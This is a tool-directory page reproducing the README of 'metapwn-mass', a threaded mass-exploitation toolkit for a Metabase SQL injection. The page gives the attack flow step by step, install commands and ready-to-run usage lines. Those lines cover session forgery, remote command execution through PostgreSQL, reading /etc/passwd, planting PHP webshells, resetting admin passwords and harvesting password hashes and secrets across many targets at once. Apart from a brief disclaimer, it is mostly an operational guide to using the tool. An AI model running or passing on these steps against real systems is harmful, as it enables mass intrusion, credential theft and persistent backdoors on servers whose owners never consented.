Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
metapwn-mass — CVE-2026-72898 — Mass exploitation & post-exploitation toolkit for Metabase. Session forgery, SQLi, PostgreSQL RCE via COPY TO PROGRAM, file read/write, webshell drop, and credential harvesting. For authorized pentesting only. | Kitploit
Tools/GitHubGitHub/jenderal92/metapwn-mass
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubjenderal92/metapwn-mass

metapwn-mass

7 days agoNot yet reviewed
Share

CVE-2026-72898 — Mass exploitation & post-exploitation toolkit for Metabase. Session forgery, SQLi, PostgreSQL RCE via COPY TO PROGRAM, file read/write, webshell drop, and credential harvesting. For authorized pentesting only.

View Repository

MetaPwn Mass

CVE-2026-72898 — Metabase Mass Exploitation & Post-Exploitation Framework

A threaded Python 2 compatible exploit + post-exploitation toolkit targeting the SQL injection in Metabase's /api/session/reset_password endpoint that enables unauthenticated session forgery, authenticated API access, and — on PostgreSQL-backed instances — full RCE, file read, and file write capabilities.

⚠️ FOR AUTHORIZED SECURITY TESTING AND RESEARCH ONLY. See DISCLAIMER.

More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!


Features

Mass scanning

  • Threaded target processing with per-host isolation

Version detection

  • Identifies Metabase version via /api/session/properties

SQL injection primitive

  • Abuses reset_password parameter injection

Session forgery

  • Creates valid superuser sessions without credentials

Engine fingerprinting

  • pg_sleep timing oracle for PostgreSQL detection

Privilege enumeration

  • super, pg_execute_server_program, pg_read_server_files, pg_write_server_files, current_user

RCE

Three fallback methods:

  • COPY ... TO PROGRAM
  • COPY ... FROM PROGRAM
  • ALTER SYSTEM archive_command + pg_switch_wal

File read

  • Arbitrary host file read via pg_read_file() (chunked)

File write

  • Arbitrary write via lo_export() and COPY ... TO

Web shell drop

  • Auto-detects docroots (nginx/apache configs, process cwd), writes PHP webshell, verifies via HTTP

Secret extraction

  • .env, .pgpass, core_user password hashes (opt-in)

Credential harvesting

  • Creates login users, resets admin password via pgcrypto

Cleanup

  • Removes probe users and (optionally) shells after exploitation

Structured output

  • Tab-separated .txt files, easy to grep/awk/import

Requirements

  • Python 2.7
  • No external dependencies (stdlib only)
  • Network access to target Metabase instances

Installation

git clone https://github.com/Jenderal92/metapwn-mass.git
cd metapwn-mass
chmod +x metapwn.py

No pip install needed.


Usage

Basic:

python metapwn.py targets.txt

targets.txt — one target per line (scheme optional):

https://metabase.example.com
http://10.0.0.5:3000
metabase.internal.corp
# lines starting with # are ignored

Full example:

python metapwn.py targets.txt \
  -t 20 \
  -o ./loot \
  --exec "id; uname -a" \
  --shell \
  --shell-url https://metabase.example.com \
  --reset-admin [email protected] \
  --hashes \
  -v

Output Files

All files are tab-separated with a header row (safe to grep, cut, awk, import to Excel).

rce.txt

ColumnDescription
targetBase URL
engineDetected DB engine
versionMetabase version tag
exec_methodcopy-to-program / copy-from-program / archive-command / none / lo_export
exec_statusyes / no / file-write
superPostgres superuser
exec_progHas pg_execute_server_program
read_filesHas pg_read_server_files
write_filesHas pg_write_server_files
db_usercurrent_user
proofCommand output or capability summary

user_password.txt

ColumnDescription
targetBase URL
emailEmail / key identifier
passwordPassword, hash, or secret value
session_idVerified session id if applicable
statusverified-forged-session / verified-new-admin / verified-reset / bcrypt-hash / env-secret:* / pgpass

shell.txt

ColumnDescription
targetBase URL
docrootWritable directory used
shell_urlReachable URL (if verified)
permsls -l output or write method
exec_proofid output from shell
statusverified / written / no-docroot / write-failed

Attack Flow

1. GET /api/session/properties          → detect Metabase + version
2. POST /api/session/reset_password     → SQLi → INSERT forged core_session
3. GET /api/user/current                → verify session as superuser
4. (optional) POST /api/user            → create login user
5. (optional) reset admin password      → pgcrypto crypt() UPDATE
6. SELECT pg_sleep(3)                   → confirm PostgreSQL
7. POST /api/user                       → probe user for read-back channel
8. Privilege probe                      → 5 SELECT via read-back
9. RCE attempt                          → copy-to-program → copy-from-program → archive-command
10. (fallback) File-write shell         → lo_export + HTTP verify
11. Read-file recon                     → .env / .pgpass
12. (optional) Dump bcrypt hashes
13. Cleanup                             → DELETE probe user

The read-back channel uses UPDATE core_user SET last_name = CAST((<expr>) AS VARCHAR) then GET /api/user/<id> to exfiltrate single scalar values. This avoids outbound connections from the DB and works through any HTTP-only path.


PostgreSQL Privilege Matrix

PrivilegeSourceEnables
rolsuper = truepg_rolesEverything below
pg_execute_server_programpg_has_roleRCE via COPY ... PROGRAM, archive_command
pg_read_server_filespg_has_roleArbitrary file read via pg_read_file
pg_write_server_filespg_has_roleFile write via lo_export, COPY ... TO

When exec is closed but write is open, the tool drops a PHP webshell via lo_export and verifies it over HTTP — no command execution on the DB host required.


Shell Drop Modes

Exec mode (COPY TO PROGRAM available)

  1. Runs an inline recon script on the DB host:
    • ss -tln / netstat -tln → listening ports
    • ps aux → nginx/apache/php-fpm processes
    • Parses /etc/nginx, /etc/apache2, /etc/httpd configs for root / DocumentRoot
    • Reads /proc/<pid>/cwd of web processes
  2. Picks the first writable docroot
  3. Writes base64-decoded PHP payload
  4. Verifies via HTTP ?c=id
  5. (optional) --shell-rm removes the shell

File-write mode (pg_write_server_files only)

  1. Probes each candidate docroot with lo_export + pg_stat_file
  2. Uses the first that succeeds
  3. Same HTTP verification

If no docroot is writable, the row is still logged with status=no-docroot.


Examples

Single target, quiet, custom exec

echo "https://metabase.corp" > one.txt
python metapwn.py one.txt -q --exec "cat /etc/passwd | head"

Full loot, 30 threads

python metapwn.py targets.txt -t 30 -o loot/ \
  --exec "id" --shell --shell-url https://metabase.corp \
  --reset-admin [email protected] --hashes -v

Read-only (no RCE attempt)

python metapwn.py targets.txt --no-exec --no-shell

Skip shell drop, only forge sessions + harvest creds

python metapwn.py targets.txt --no-exec --no-shell --no-login-user

CLI Reference

positional arguments:
  listfile                File with one target per line

output:
  -o, --outdir DIR        Output directory (default: .)
  --rce-file NAME         Default: rce.txt
  --passwd-file NAME      Default: user_password.txt
  --shell-file NAME       Default: shell.txt

scanning:
  -t, --threads N         Worker threads (default: 10)
  --timeout SEC           HTTP timeout (default: 20)
  --ssl                   Prefix bare targets with https://
  -v, --verbose           Print exceptions / tracebacks
  -q, --quiet             Suppress per-row stdout echoes

execution:
  --exec CMD              Command to run (default: id)
  --no-exec               Disable RCE attempts
  --shell                 Drop webshell (default: on)
  --no-shell              Disable shell drop
  --shell-url URL         Override base URL for shell reachability check
  --shell-rm              Remove shell after verification
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →